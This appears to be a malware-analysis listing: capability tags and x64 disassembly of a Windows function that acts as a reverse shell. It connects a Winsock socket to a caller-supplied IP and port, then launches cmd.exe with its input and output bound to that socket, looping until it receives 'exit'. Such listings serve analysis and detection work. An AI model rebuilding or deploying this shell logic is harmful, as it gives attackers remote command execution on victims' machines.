Function at 0x140001540
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push rbp
sub rsp, 0xab0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa40], rcx
mov dword [rbp + 0xa48], edx
mov ecx, 0x1770
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp + 0x40]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0xa28], rax
mov word [rbp + 0xa00], 2
mov rax, qword [rbp + 0xa40]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0xa04], eax
mov eax, dword [rbp + 0xa48]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0xa02], ax
lea rdx, [rbp + 0xa00]
mov rax, qword [rbp + 0xa28]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x14000165f
mov rax, qword [rbp + 0xa28]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001862
lea rax, [rbp + 0x1e0]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp + 0x1e0]
mov rax, qword [rbp + 0xa28]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0xa24], eax
cmp dword [rbp + 0xa24], 0
jg 0x1400016cf
mov rax, qword [rbp + 0xa28]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001862
movabs rax, 0x6578652e646d63
mov qword [rbp + 0x9f8], rax
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 0x101
mov rax, qword [rbp + 0xa28]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x20], rax
mov dword [rbp + 0xa20], 1
lea rax, [rbp + 0x9f8]
lea rdx, [rbp + 0x9e0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0x9e0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x9e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x9e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x1e0]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0xa1c], 0x302d
lea rdx, [rbp + 0x1e0]
mov rax, qword [rbp + 0xa28]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0xa18], eax
cmp dword [rbp + 0xa18], 0
jg 0x14000183a
mov rax, qword [rbp + 0xa28]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001862
lea rax, [rbp + 0x1e0]
lea rdx, str.exit_n
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000155d
mov ecx, 0
call sym.exit
jmp 0x14000155d